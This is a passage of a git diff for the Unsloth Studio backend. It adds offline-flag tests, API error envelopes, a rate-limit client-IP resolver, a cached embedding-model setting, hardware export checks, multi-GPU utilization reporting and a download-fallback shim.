+    the requests.get fallback and the cache keys, so 'on' or ' 1 ' must still count as offline."""
+
+    def test_truthy_values_recognized(self, monkeypatch):
+        import utils.models.model_config as mc
+        for var in ("HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE"):
+            for val in ("1", "true", "TRUE", "yes", "Yes", "on", "ON", " 1 ", " on ", "\ttrue\n"):
+                monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+                monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+                monkeypatch.setenv(var, val)
+                assert mc._env_offline() is True, f"{var}={val!r} should be offline"
+
+    def test_falsy_values_not_offline(self, monkeypatch):
+        import utils.models.model_config as mc
+
+        monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+        monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+        assert mc._env_offline() is False
+        for val in ("", "0", "false", "no", "off", "2", "onn"):
+            monkeypatch.setenv("HF_HUB_OFFLINE", val)
+            assert mc._env_offline() is False, f"HF_HUB_OFFLINE={val!r} should not be offline"
diff --git a/studio/backend/utils/api_errors.py b/studio/backend/utils/api_errors.py
index b1c55b61b9..cae8daf287 100644
--- a/studio/backend/utils/api_errors.py
+++ b/studio/backend/utils/api_errors.py
@@ -125,6 +125,12 @@ def is_anthropic_path(path: str) -> bool:
     return path.startswith("/v1/messages")
 
 
+def wants_api_error_envelope(path: str) -> bool:
+    """True for the OpenAI/Anthropic-compatible surfaces: the ``/v1/*`` mount and
+    the preview ``/p/<run>[/<ckpt>]/v1/*`` mount."""
+    return path.startswith("/v1/") or (path.startswith("/p/") and "/v1/" in path)
+
+
 def error_body_for_path(
     path,
     message,
@@ -183,15 +189,16 @@ def _summarize_validation_errors(errors) -> tuple:
 def install_api_error_handlers(app) -> None:
     """Register validation + HTTPException handlers that emit ``/v1/*`` envelopes.
 
-    Both handlers are global but only transform responses for paths starting with
-    ``/v1/``. Non-``/v1/`` paths reproduce FastAPI's default ``{"detail": ...}``
-    behavior exactly so the Studio frontend keeps working.
+    Both handlers are global but only transform responses for OpenAI/Anthropic-
+    compatible surfaces (see :func:`wants_api_error_envelope`: the ``/v1/*`` mount
+    and the preview ``/p/.../v1/*`` mount). Every other path reproduces FastAPI's
+    default ``{"detail": ...}`` behavior exactly so the Studio frontend keeps working.
     """
 
     @app.exception_handler(RequestValidationError)
     async def _handle_validation_error(request, exc):
         path = request.url.path
-        if path.startswith("/v1/"):
+        if wants_api_error_envelope(path):
             summary, param = _summarize_validation_errors(exc.errors())
             return JSONResponse(
                 status_code = 400,
@@ -211,7 +218,7 @@ def install_api_error_handlers(app) -> None:
         # default http_exception_handler, which returns a bodiless Response.
         if not is_body_allowed_for_status_code(exc.status_code):
             return Response(status_code = exc.status_code, headers = headers)
-        if path.startswith("/v1/"):
+        if wants_api_error_envelope(path):
             detail = exc.detail
             # Already a fully-formed envelope: pass through untouched.
             if isinstance(detail, dict) and ("error" in detail or detail.get("type") == "error"):
diff --git a/studio/backend/utils/client_ip.py b/studio/backend/utils/client_ip.py
new file mode 100644
index 0000000000..94acbf1809
--- /dev/null
+++ b/studio/backend/utils/client_ip.py
@@ -0,0 +1,71 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Resolve the caller's IP for rate limiting.
+
+Trust model, in order:
+  1. If the operator opts in via ``UNSLOTH_STUDIO_TRUST_FORWARDED`` (Studio behind
+     their own reverse proxy), honor the *rightmost* ``X-Forwarded-For`` hop -- the
+     one the trusted proxy appended. The leftmost entry is client-controlled and
+     spoofable, so this assumes a proxy that appends (or overwrites) the header;
+     only enable the env var behind such a proxy.
+  2. If the socket peer is loopback, honor ``CF-Connecting-IP``. Studio's managed
+     Cloudflare tunnel terminates at 127.0.0.1, so every tunneled visitor would
+     otherwise collapse onto the same socket peer (the local cloudflared process)
+     and share one rate-limit bucket. ``CF-Connecting-IP`` is set by Cloudflare's
+     edge and can't be forged by a tunneled client.
+  3. Otherwise the socket peer, so a direct LAN caller can't spoof a header to
+     dodge a per-IP limit.
+"""
+
+from __future__ import annotations
+
+import ipaddress
+import os
+
+_TRUST_FORWARDED_ENV = "UNSLOTH_STUDIO_TRUST_FORWARDED"
+
+
+def _trust_forwarded_for() -> bool:
+    return os.environ.get(_TRUST_FORWARDED_ENV, "").strip().lower() in {"1", "true", "yes"}
+
+
+def _is_loopback(host: str | None) -> bool:
+    try:
+        return bool(host) and ipaddress.ip_address(host).is_loopback
+    except ValueError:
+        return False
+
+
+def _normalize_addr(value: str | None) -> str | None:
+    """Parse an ``X-Forwarded-For`` entry into a bare, validated IP (strip port/brackets)."""
+    raw = (value or "").strip().strip('"')
+    if not raw:
+        return None
+    if raw.startswith("["):  # [ipv6]:port
+        raw = raw[1:].split("]", 1)[0]
+    elif raw.count(":") == 1:  # ipv4:port
+        raw = raw.split(":", 1)[0]
+    try:
+        return ipaddress.ip_address(raw).compressed
+    except ValueError:
+        return None
+
+
+def client_ip(request) -> str:
+    """Best-effort client IP, or ``"_unknown"`` when it can't be determined."""
+    if request is None:
+        return "_unknown"
+    peer = request.client.host if request.client else None
+    if _trust_forwarded_for():
+        # Rightmost hop = what the trusted proxy saw; the leftmost is spoofable.
+        xff = request.headers.get("x-forwarded-for", "")
+        if xff:
+            normalized = _normalize_addr(xff.rsplit(",", 1)[-1])
+            if normalized:
+                return normalized
+    if _is_loopback(peer):
+        cf = _normalize_addr(request.headers.get("cf-connecting-ip"))
+        if cf:
+            return cf
+    return peer or "_unknown"
diff --git a/studio/backend/utils/embedding_model_settings.py b/studio/backend/utils/embedding_model_settings.py
new file mode 100644
index 0000000000..798ae6d364
--- /dev/null
+++ b/studio/backend/utils/embedding_model_settings.py
@@ -0,0 +1,124 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Persisted RAG embedding-model override (Settings -> General).
+
+The stored value takes precedence over the ``RAG_EMBEDDING_MODEL`` env default in
+``core.rag.config``. Vectors from different models live in different spaces, so
+documents already indexed under the old model must be re-uploaded after a change
+(the UI warns about this).
+"""
+
+from __future__ import annotations
+
+import threading
+import time
+from typing import Any
+
+EMBEDDING_MODEL_SETTING_KEY = "rag_embedding_model"
+MAX_EMBEDDING_MODEL_LENGTH = 512
+
+# The effective model is consulted on the embedder hot path (once per embed /
+# tokenize call during ingestion), so the stored value is cached briefly instead
+# of hitting sqlite each time. Writes invalidate immediately in-process; other
+# readers converge within the TTL.
+_CACHE_TTL_S = 2.0
+_cached: tuple[float, str | None] | None = None
+# Bumped on every write/invalidate. A reader captures it before the DB read and
+# only fills the cache if it is unchanged afterward, so a read that overlapped a
+# save cannot repopulate the cache with the pre-save value for the whole TTL.
+_generation = 0
+_lock = threading.Lock()
+
+
+def _invalidate_cache() -> None:
+    global _cached, _generation
+    with _lock:
+        _cached = None
+        _generation += 1
+
+
+def default_embedding_model() -> str:
+    """The env/default model from rag config (``RAG_EMBEDDING_MODEL`` or bge)."""
+    from core.rag import config
+    return config.EMBEDDING_MODEL
+
+
+def _coerce_embedding_model(value: Any) -> str | None:
+    if not isinstance(value, str):
+        return None
+    cleaned = value.strip()
+    if not cleaned or len(cleaned) > MAX_EMBEDDING_MODEL_LENGTH:
+        return None
+    # Newlines/control chars are never valid in a repo id or path.
+    if any(ord(ch) < 32 for ch in cleaned):
+        return None
+    return cleaned
+
+
+def validate_embedding_model(value: Any) -> str:
+    cleaned = _coerce_embedding_model(value)
+    if cleaned is None:
+        raise ValueError(
+            "Embedding model must be a Hugging Face repo id (e.g. "
+            "'unsloth/bge-small-en-v1.5') or a local model path, up to "
+            f"{MAX_EMBEDDING_MODEL_LENGTH} characters."
+        )
+    return cleaned
+
+
+def get_stored_embedding_model() -> str | None:
+    """The persisted override, or None when unset/invalid."""
+    global _cached
+    now = time.monotonic()
+    with _lock:
+        cached = _cached
+        if cached is not None and now - cached[0] < _CACHE_TTL_S:
+            return cached[1]
+        gen = _generation
+    try:
+        from storage.studio_db import get_app_setting
+        stored = get_app_setting(EMBEDDING_MODEL_SETTING_KEY, None)
+    except Exception:
+        # Transient store failure: keep the last known value instead of
+        # silently reverting the embed/search hot path to the default model,
+        # which would mix vector spaces mid-ingestion.
+        with _lock:
+            if _cached is not None:
+                _cached = (time.monotonic(), _cached[1])
+                return _cached[1]
+        return None
+    value = _coerce_embedding_model(stored)
+    with _lock:
+        # Only cache when no save landed while we were reading; otherwise this
+        # value may be pre-save, and caching it would mask the new one for the
+        # TTL. The next reader re-reads the committed value.
+        if _generation == gen:
+            _cached = (time.monotonic(), value)
+    return value
+
+
+def get_rag_embedding_model() -> str:
+    """Effective embedding model: persisted override, else env/default."""
+    return get_stored_embedding_model() or default_embedding_model()
+
+
+def set_rag_embedding_model(value: Any) -> str:
+    parsed = validate_embedding_model(value)
+    from storage.studio_db import upsert_app_settings
+
+    # Saving the default is not an override; keeps is_custom (and the UI's
+    # reset affordance) honest.
+    stored = parsed if parsed != default_embedding_model() else None
+    upsert_app_settings({EMBEDDING_MODEL_SETTING_KEY: stored})
+    _invalidate_cache()
+    return parsed
+
+
+def reset_rag_embedding_model() -> str:
+    """Clear the override; returns the (env/default) model now in effect."""
+    from storage.studio_db import upsert_app_settings
+
+    upsert_app_settings({EMBEDDING_MODEL_SETTING_KEY: None})
+    _invalidate_cache()
+    return default_embedding_model()
diff --git a/studio/backend/utils/hardware/__init__.py b/studio/backend/utils/hardware/__init__.py
index 5f2b2abbcf..62b537fbac 100644
--- a/studio/backend/utils/hardware/__init__.py
+++ b/studio/backend/utils/hardware/__init__.py
@@ -44,6 +44,12 @@ from .vram_estimation import (
     estimate_training_vram,
 )
 
+
+def export_capability() -> dict:
+    """Return live export capability from the hardware module."""
+    return _hardware.export_capability()
+
+
 __all__ = [
     "DeviceType",
     "DEVICE",
@@ -51,6 +57,7 @@ __all__ = [
     "IS_ROCM",
     "detect_hardware",
     "get_device",
+    "export_capability",
     "is_apple_silicon",
     "clear_gpu_cache",
     "get_gpu_memory_info",
diff --git a/studio/backend/utils/hardware/hardware.py b/studio/backend/utils/hardware/hardware.py
index 88a1784b88..8d6c919ebd 100644
--- a/studio/backend/utils/hardware/hardware.py
+++ b/studio/backend/utils/hardware/hardware.py
@@ -263,6 +263,49 @@ def get_device() -> DeviceType:
     return DEVICE
 
 
+def export_capability() -> dict:
+    """Whether model export can run here, with a torch-aware reason when it cannot.
+
+    Export runs through Unsloth, which hard-requires an accelerator (it calls ``torch.cuda`` at
+    import and has no CPU path), so it is supported iff ``get_device() in {CUDA, XPU, MLX}``. The
+    reason distinguishes a --no-torch install from a bare-CPU host. Safe to call without torch.
+
+    Returns {export_supported, export_unsupported_reason, export_unsupported_message}.
+    """
+    if get_device() in (DeviceType.CUDA, DeviceType.XPU, DeviceType.MLX):
+        return {
+            "export_supported": True,
+            "export_unsupported_reason": None,
+            "export_unsupported_message": None,
+        }
+    # No accelerator: name the blocker. Apple Silicon first -- its path is MLX, so "install PyTorch"
+    # would be wrong advice on a Mac even when torch is also absent.
+    if is_apple_silicon():
+        reason = "mlx_unavailable"
+        message = (
+            "Export on Apple Silicon requires the MLX stack, which is unavailable or too old. Run "
+            "`unsloth studio update` to restore MLX and enable export."
+        )
+    elif not _has_torch():
+        reason = "pytorch_not_installed"
+        message = (
+            "PyTorch is not installed. Model export requires PyTorch with a supported accelerator "
+            "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export."
+        )
+    else:
+        reason = "no_accelerator"
+        message = (
+            "Export requires an NVIDIA, AMD, or Intel GPU, or Apple Silicon (MLX). No supported "
+            "accelerator was found on this host. (PyTorch is installed, but Unsloth cannot export "
+            "on CPU only.)"
+        )
+    return {
+        "export_supported": False,
+        "export_unsupported_reason": reason,
+        "export_unsupported_message": message,
+    }
+
+
 def clear_gpu_cache():
     """
     Clear GPU memory cache for the current device.
@@ -710,82 +753,159 @@ def _rocm_windows_perf_counter_vram_gb() -> tuple[Optional[float], Optional[floa
         return None, None
 
 
+def _gpu_utilization_payload(
+    device: DeviceType, devices: list[Dict[str, Any]], **metadata: Any
+) -> Dict[str, Any]:
+    """Keep the legacy primary-GPU shape and append all visible devices."""
+    backend = _backend_label(device)
+    normalized = []
+    for ordinal, raw in enumerate(devices):
+        dev = dict(raw)
+        dev.setdefault("available", True)
+        dev.setdefault("backend", backend)
+        if dev.get("visible_ordinal") is None:
+            dev["visible_ordinal"] = ordinal
+        normalized.append(dev)
+
+    normalized.sort(key = lambda dev: dev.get("visible_ordinal", dev.get("index", 0)))
+    payload: Dict[str, Any] = {
+        "available": bool(normalized),
+        "backend": backend,
+        "devices": normalized,
+    }
+    payload.update(metadata)
+    if normalized:
+        payload.update(normalized[0])
+        payload["available"] = True
+        payload["backend"] = normalized[0].get("backend", backend)
+        payload["devices"] = normalized
+    return payload
+
+
 def get_gpu_utilization() -> Dict[str, Any]:
-    """Return a live snapshot of device utilization information."""
+    """Live utilization snapshot for the primary GPU plus all visible GPUs."""
     device = get_device()
 
+    if device == DeviceType.XPU:
+        result = get_visible_gpu_utilization()
+        return _gpu_utilization_payload(
+            device,
+            result.get("devices", []),
+            parent_visible_gpu_ids = result.get("parent_visible_gpu_ids", []),
+            index_kind = result.get("index_kind"),
+        )
+
     if device == DeviceType.CUDA:
-        result = _smi_query("get_primary_gpu_utilization")
-        if result is not None:
-            result["backend"] = _backend_label(device)
-            if IS_ROCM:
-                # Fix unified-memory VRAM on AMD iGPUs (Strix Halo etc.).
-                _reconcile_primary_rocm_unified_memory(result, _get_parent_visible_gpu_spec())
-            return result
-        # SMI unavailable. On Windows, use Performance Counters (Task Manager
-        # source) for system-wide VRAM, covering cross-process usage torch can't see.
+        parent_visible_spec = _get_parent_visible_gpu_spec()
+        result = _smi_query(
+            "get_visible_gpu_utilization",
+            parent_visible_spec["numeric_ids"],
+            parent_cuda_visible_devices = parent_visible_spec["raw"],
+        )
+        if result is not None and "devices" in result:
+            devices = result["devices"]
+            numeric_ids = parent_visible_spec.get("numeric_ids")
+            if IS_ROCM and numeric_ids is not None:
+                _reconcile_rocm_unified_memory(result, numeric_ids)
+
+            return _gpu_utilization_payload(
+                device,
+                devices,
+                backend_cuda_visible_devices = result.get("backend_cuda_visible_devices"),
+                parent_visible_gpu_ids = result.get("parent_visible_gpu_ids", []),
+                index_kind = result.get("index_kind"),
+            )
+
+        # Fallback Windows ROCm
         if IS_ROCM and platform.system() == "Windows":
             _win_used, _win_total = _rocm_windows_perf_counter_vram_gb()
             if _win_used is not None and _win_total is not None:
                 _win_util = _rocm_windows_perf_counter_gpu_util_pct()
-                return {
-                    "available": True,
-                    "backend": _backend_label(device),
-                    "gpu_utilization_pct": _win_util,
-                    "temperature_c": None,
-                    "vram_used_gb": _win_used,
-                    "vram_total_gb": _win_total,
-                    "vram_utilization_pct": round((_win_used / _win_total) * 100, 1)
-                    if _win_total > 0
-                    else None,
-                    "power_draw_w": None,
-                    "power_limit_w": None,
-                    "power_utilization_pct": None,
-                }
-        # Linux: DRM sysfs gives system-wide VRAM across all processes, no tools needed.
+                return _gpu_utilization_payload(
+                    device,
+                    [
+                        {
+                            "available": True,
+                            "backend": _backend_label(device),
+                            "index": 0,
+                            "visible_ordinal": 0,
+                            "gpu_utilization_pct": _win_util,
+                            "temperature_c": None,
+                            "vram_used_gb": _win_used,
+                            "vram_total_gb": _win_total,
+                            "vram_utilization_pct": round((_win_used / _win_total) * 100, 1)
+                            if _win_total > 0
+                            else None,
+                            "power_draw_w": None,
+                            "power_limit_w": None,
+                            "power_utilization_pct": None,
+                        }
+                    ],
+                )
+
+        # Fallback Linux ROCm
         if IS_ROCM and platform.system() == "Linux":
             _linux_used, _linux_total = _rocm_linux_sysfs_vram_gb()
             if _linux_used is not None and _linux_total is not None:
                 _linux_util = _rocm_linux_sysfs_gpu_busy_pct()
                 _linux_temp = _rocm_linux_sysfs_temp_c()
                 _linux_power = _rocm_linux_sysfs_power_w()
-                return {
-                    "available": True,
-                    "backend": _backend_label(device),
-                    "gpu_utilization_pct": _linux_util,
-                    "temperature_c": _linux_temp,
-                    "vram_used_gb": _linux_used,
-                    "vram_total_gb": _linux_total,
-                    "vram_utilization_pct": round((_linux_used / _linux_total) * 100, 1)
-                    if _linux_total > 0
-                    else None,
-                    "power_draw_w": _linux_power,
-                    "power_limit_w": None,
-                    "power_utilization_pct": None,
-                }
-        # Last resort: torch mem_get_info (process-local).
-        _visible_spec = _get_parent_visible_gpu_spec()
-        _numeric_ids = _visible_spec.get("numeric_ids") or [0]
-        _primary_idx = [_numeric_ids[0]] if _numeric_ids else [0]
-        _torch_devices = _torch_get_per_device_info(_primary_idx)
-        if _torch_devices:
-            _td = _torch_devices[0]
-            _total = _td["total_gb"]
-            _used = _td["used_gb"]
-            return {
-                "available": True,
-                "backend": _backend_label(device),
-                "gpu_utilization_pct": None,
-                "temperature_c": None,
-                "vram_used_gb": _used,
-                "vram_total_gb": _total,
-                "vram_utilization_pct": round((_used / _total) * 100, 1) if _total > 0 else None,
-                "power_draw_w": None,
-                "power_limit_w": None,
-                "power_utilization_pct": None,
-            }
+                return _gpu_utilization_payload(
+                    device,
+                    [
+                        {
+                            "available": True,
+                            "backend": _backend_label(device),
+                            "index": 0,
+                            "visible_ordinal": 0,
+                            "gpu_utilization_pct": _linux_util,
+                            "temperature_c": _linux_temp,
+                            "vram_used_gb": _linux_used,
+                            "vram_total_gb": _linux_total,
+                            "vram_utilization_pct": round((_linux_used / _linux_total) * 100, 1)
+                            if _linux_total > 0
+                            else None,
+                            "power_draw_w": _linux_power,
+                            "power_limit_w": None,
+                            "power_utilization_pct": None,
+                        }
+                    ],
+                )
 
-    # MLX: _read_apple_gpu_stats() carries both VRAM-used and GPU util%.
+        # Last resort: torch mem_get_info (process-local) for all visible GPUs
+        _visible_spec = _get_parent_visible_gpu_spec()
+        _numeric_ids = _visible_spec.get("numeric_ids") or []
+        if not _numeric_ids:
+            visible_count = _torch_get_physical_gpu_count() or 0
+            _numeric_ids = list(range(visible_count))
+
+        _torch_devices = _torch_get_per_device_info(_numeric_ids)
+        if _torch_devices:
+            gpu_array = []
+            for _td in _torch_devices:
+                _total = _td["total_gb"]
+                _used = _td["used_gb"]
+                gpu_array.append(
+                    {
+                        "available": True,
+                        "backend": _backend_label(device),
+                        "index": _td["index"],
+                        "name": _td.get("name", "Unknown"),
+                        "gpu_utilization_pct": None,
+                        "temperature_c": None,
+                        "vram_used_gb": _used,
+                        "vram_total_gb": _total,
+                        "vram_utilization_pct": round((_used / _total) * 100, 1)
+                        if _total > 0
+                        else None,
+                        "power_draw_w": None,
+                        "power_limit_w": None,
+                        "power_utilization_pct": None,
+                    }
+                )
+            return _gpu_utilization_payload(device, gpu_array)
+
+    # MLX
     if device == DeviceType.MLX:
         try:
             import psutil
@@ -793,9 +913,8 @@ def get_gpu_utilization() -> Dict[str, Any]:
             total_bytes = psutil.virtual_memory().total
         except Exception as e:
             logger.error(f"Error getting MLX GPU utilization: {e}")
-            return {"available": False, "backend": device.value, "error": str(e)}
-        if not agx:
-            return {"available": False, "backend": device.value}
+            return {"available": False, "backend": device.value, "devices": [], "error": str(e)}
+
         allocated_bytes = agx.get("vram_used_bytes", 0) or 0
         vram_used_gb = allocated_bytes / (1024**3)
         total_gb = total_bytes / (1024**3)
@@ -814,37 +933,51 @@ def get_gpu_utilization() -> Dict[str, Any]:
 
         from . import apple
 
-        return {
-            "available": True,
-            "backend": device.value,
-            "gpu_utilization_pct": agx.get("utilization_pct") if agx else None,
-            "temperature_c": apple.read_gpu_temperature_c(),
-            "vram_used_gb": round(vram_used_gb, 2),
-            "vram_total_gb": round(total_gb, 2),
-            "vram_utilization_pct": (
-                round((vram_used_gb / total_gb) * 100, 1) if total_gb > 0 else None
-            ),
-            "power_draw_w": apple.read_gpu_power_w(),
-            "power_limit_w": None,
-            "power_utilization_pct": None,
-        }
+        return _gpu_utilization_payload(
+            device,
+            [
+                {
+                    "available": True,
+                    "backend": device.value,
+                    "index": 0,
+                    "visible_ordinal": 0,
+                    "gpu_utilization_pct": agx.get("utilization_pct") if agx else None,
+                    "temperature_c": apple.read_gpu_temperature_c(),
+                    "vram_used_gb": round(vram_used_gb, 2),
+                    "vram_total_gb": round(total_gb, 2),
+                    "vram_utilization_pct": round((vram_used_gb / total_gb) * 100, 1)
+                    if total_gb > 0
+                    else None,
+                    "power_draw_w": apple.read_gpu_power_w(),
+                    "power_limit_w": None,
+                    "power_utilization_pct": None,
+                }
+            ],
+        )
 
     mem = get_gpu_memory_info()
     if device != DeviceType.CPU and mem.get("available"):
-        return {
-            "available": True,
-            "backend": _backend_label(device),
-            "gpu_utilization_pct": None,
-            "temperature_c": None,
-            "vram_used_gb": round(mem.get("allocated_gb", 0), 2),
-            "vram_total_gb": round(mem.get("total_gb", 0), 2),
-            "vram_utilization_pct": round(mem.get("utilization_pct", 0), 1),
-            "power_draw_w": None,
-            "power_limit_w": None,
-            "power_utilization_pct": None,
-        }
+        return _gpu_utilization_payload(
+            device,
+            [
+                {
+                    "available": True,
+                    "backend": _backend_label(device),
+                    "index": mem.get("device", 0),
+                    "visible_ordinal": 0,
+                    "gpu_utilization_pct": None,
+                    "temperature_c": None,
+                    "vram_used_gb": round(mem.get("allocated_gb", 0), 2),
+                    "vram_total_gb": round(mem.get("total_gb", 0), 2),
+                    "vram_utilization_pct": round(mem.get("utilization_pct", 0), 1),
+                    "power_draw_w": None,
+                    "power_limit_w": None,
+                    "power_utilization_pct": None,
+                }
+            ],
+        )
 
-    return {"available": False, "backend": _backend_label(device)}
+    return {"available": False, "backend": _backend_label(device), "devices": []}
 
 
 def _apply_unified_memory_correction(
diff --git a/studio/backend/utils/hf_xet_fallback.py b/studio/backend/utils/hf_xet_fallback.py
index a6ba69fffc..2dd2247396 100644
--- a/studio/backend/utils/hf_xet_fallback.py
+++ b/studio/backend/utils/hf_xet_fallback.py
@@ -1,337 +1,204 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Xet-primary HF downloads with an automatic HTTP fallback on a no-progress stall.
+"""Studio shim over the shared ``unsloth_zoo.hf_xet_fallback`` Xet -> HTTP stall fallback.
 
-Xet (``hf_xet``) is the fast default but can hang with no progress and no
-exception, and a blocked native thread cannot be killed. Keep Xet primary; fall
-back to plain HTTP only when the parent observes a stall. ``HF_HUB_DISABLE_XET``
-is read at import time, so the fallback runs in a fresh ``spawn`` child (not a
-thread) that sets the env before importing ``huggingface_hub``. Cached files
-short-circuit with no child; deterministic errors (401/403/404/disk-full) and
-cancellation propagate without a fallback. Mirrors the safetensors inference
-recovery in core/inference/{orchestrator,worker}.py.
+Re-exports the shared API and injects Studio's marker-aware cache purge
+(``prepare_cache_for_transport``) so the download manager keeps its ``.transport``
+marker semantics on the HTTP retry.
 """
 
 from __future__ import annotations
 
-import multiprocessing as mp
-import os
-import queue
-import signal
-import sys
 import threading
-import time
 from typing import Any, Callable, Optional
 
-from loggers import get_logger
+_shared_import_error = None
+try:
+    import unsloth_zoo.hf_xet_fallback as _shared
+    _shared_available = True
+except Exception as _exc:  # noqa: BLE001 - any import failure must degrade, not crash
+    # unsloth_zoo's __init__ runs torch/GPU detection, which raises on a torch-less/GPU-less Studio
+    # host. The download helper needs none of it, so retry via the light UNSLOTH_ZOO_DISABLE_GPU_INIT
+    # path before giving up.
+    _shared_import_error = _exc
+    import os as _os
 
-logger = get_logger(__name__)
-
-_CTX = mp.get_context("spawn")
-
-# Defaults match the existing inference watchdog and hub shutdown deadline.
-DEFAULT_HEARTBEAT_INTERVAL = 30.0
-DEFAULT_STALL_TIMEOUT = 180.0
-DEFAULT_GRACE_PERIOD = 10.0
-_POLL_INTERVAL = 0.5
-
-
-class DownloadStallError(RuntimeError):
-    """Raised when no download progress is observed for too long.
-
-    Canonical home; orchestrator.py re-imports it so all paths share one type.
-    """
-
-
-def child_should_disable_xet(config: dict) -> bool:
-    """Single source of truth for the per-worker Xet env flip."""
-    return bool(config.get("disable_xet"))
-
-
-def get_hf_download_state(
-    repo_ids: Optional[list[str]] = None, *, repo_type: str = "model"
-) -> Optional[tuple[int, bool]]:
-    """Return ``(total_on_disk_bytes, has_incomplete)`` for the active HF cache.
-
-    Sparse-aware (st_blocks based) so a sparse Xet/``hf_transfer`` ``.incomplete``
-    is not mistaken for full-size progress. ``None`` means the state could not be
-    measured, so callers skip stall logic for that tick.
-    """
+    _prev_gpu_init = _os.environ.get("UNSLOTH_ZOO_DISABLE_GPU_INIT")
+    _os.environ["UNSLOTH_ZOO_DISABLE_GPU_INIT"] = "1"
     try:
-        from hub.utils.hf_cache_state import (
-            blob_bytes_present,
-            has_active_incomplete_blobs,
-            hf_cache_root,
-            iter_active_repo_cache_dirs,
-        )
+        import unsloth_zoo.hf_xet_fallback as _shared
+        _shared_available = True
+        _shared_import_error = None
+    except Exception as _exc2:  # noqa: BLE001 - degrade so Studio still boots with plain HF downloads
+        _shared_import_error = _exc2
+        _shared_available = False
+    finally:
+        if _prev_gpu_init is None:
+            _os.environ.pop("UNSLOTH_ZOO_DISABLE_GPU_INIT", None)
+        else:
+            _os.environ["UNSLOTH_ZOO_DISABLE_GPU_INIT"] = _prev_gpu_init
 
-        if hf_cache_root() is None:
-            return (0, False)
+if _shared_available:
+    # Bind by assignment so each public name shares one module-level binding with the degraded branch.
+    DEFAULT_GRACE_PERIOD = _shared.DEFAULT_GRACE_PERIOD
+    DEFAULT_HEARTBEAT_INTERVAL = _shared.DEFAULT_HEARTBEAT_INTERVAL
+    DEFAULT_STALL_TIMEOUT = _shared.DEFAULT_STALL_TIMEOUT
+    DownloadStallError = _shared.DownloadStallError
+    child_should_disable_xet = _shared.child_should_disable_xet
+    get_hf_download_state = _shared.get_hf_download_state
+    start_watchdog = _shared.start_watchdog
+    _shared_hf_hub_download_with_xet_fallback = _shared.hf_hub_download_with_xet_fallback
+    _shared_snapshot_download_with_xet_fallback = _shared.snapshot_download_with_xet_fallback
+else:
+    # Degrade instead of crashing Studio: plain HF downloads, stall watchdog disabled. Thin stubs,
+    # not a second copy of the orchestration; recovery returns once unsloth_zoo is upgraded.
+    import logging as _logging
 
-        total = 0
-        has_incomplete = False
-        for repo_id in repo_ids or []:
-            # Skip local paths: HF IDs never start with / . ~ or contain "\".
-            if not repo_id or repo_id.startswith(("/", ".", "~")) or "\\" in repo_id:
-                continue
-            for entry in iter_active_repo_cache_dirs(repo_type, repo_id):
-                blobs_dir = entry / "blobs"
-                if not blobs_dir.is_dir():
-                    continue
-                for blob in blobs_dir.iterdir():
-                    try:
-                        if blob.is_file():
-                            total += blob_bytes_present(blob)
-                    except OSError:
-                        pass
-            if has_active_incomplete_blobs(repo_type, repo_id):
-                has_incomplete = True
-        return (total, has_incomplete)
-    except Exception as e:
-        logger.debug("Failed to determine HF download state: %s", e)
-        return None
+    _logging.getLogger(__name__).warning(
+        "unsloth_zoo.hf_xet_fallback unavailable (%s); the Xet stall watchdog is "
+        "disabled. Install/upgrade unsloth_zoo (and its torch dependency) to "
+        "re-enable automatic Xet -> HTTP download recovery.",
+        _shared_import_error,
+    )
 
+    DEFAULT_HEARTBEAT_INTERVAL = 30.0
+    DEFAULT_STALL_TIMEOUT = 180.0
+    DEFAULT_GRACE_PERIOD = 10.0
 
-def start_watchdog(
-    *,
-    repo_ids: list[str],
-    on_stall: Callable[[str], None],
-    repo_type: str = "model",
-    interval: float = DEFAULT_HEARTBEAT_INTERVAL,
-    stall_timeout: float = DEFAULT_STALL_TIMEOUT,
-    xet_disabled: bool = False,
-    on_heartbeat: Optional[Callable[[str], None]] = None,
-) -> threading.Event:
-    """Start a daemon thread that fires ``on_stall(message)`` exactly once iff a
-    ``*.incomplete`` is present AND the on-disk size is unchanged for
-    *stall_timeout* seconds. The timer resets while no ``*.incomplete`` exists, so
-    post-download init is never misread as a stall. Returns a stop event the
-    caller sets when the download phase ends.
-    """
-    stop = threading.Event()
-    transport = "https" if xet_disabled else "xet"
-    fired = False
+    class DownloadStallError(RuntimeError):
+        """Stub mirror so callers' ``except`` clauses resolve; never raised in degraded mode."""
 
-    def _beat() -> None:
-        nonlocal fired
-        state = get_hf_download_state(repo_ids, repo_type = repo_type)
-        last_size = state[0] if state is not None else 0
-        last_change = time.monotonic()
+    def child_should_disable_xet(config: dict) -> bool:
+        return bool(config.get("disable_xet"))
 
-        while not stop.wait(interval):
-            state = get_hf_download_state(repo_ids, repo_type = repo_type)
-            now = time.monotonic()
+    def get_hf_download_state(*args: Any, **kwargs: Any) -> None:
+        return None  # unmeasurable -> the (absent) watchdog never fires
 
-            if state is None:
-                if on_heartbeat is not None:
+    def start_watchdog(
+        *,
+        on_heartbeat: "Optional[Callable[[str], None]]" = None,
+        interval: float = DEFAULT_HEARTBEAT_INTERVAL,
+        xet_disabled: bool = False,
+        **kwargs: Any,
+    ) -> "threading.Event":
+        # No stall detection, but keep emitting heartbeats so the orchestrator's inactivity deadline
+        # is not tripped during a long download.
+        stop = threading.Event()
+        if on_heartbeat is None:
+            return stop
+        transport = "https" if xet_disabled else "xet"
+
+        def _beat() -> None:
+            while not stop.wait(interval):
+                try:
                     on_heartbeat(f"Downloading ({transport} transport)...")
-                continue
+                except Exception:
+                    pass
 
-            current_size, has_incomplete = state
-            if current_size != last_size:
-                last_size = current_size
-                last_change = now
+        threading.Thread(
+            target = _beat,
+            daemon = True,
+            name = "hf-xet-degraded-heartbeat",
+        ).start()
+        return stop
 
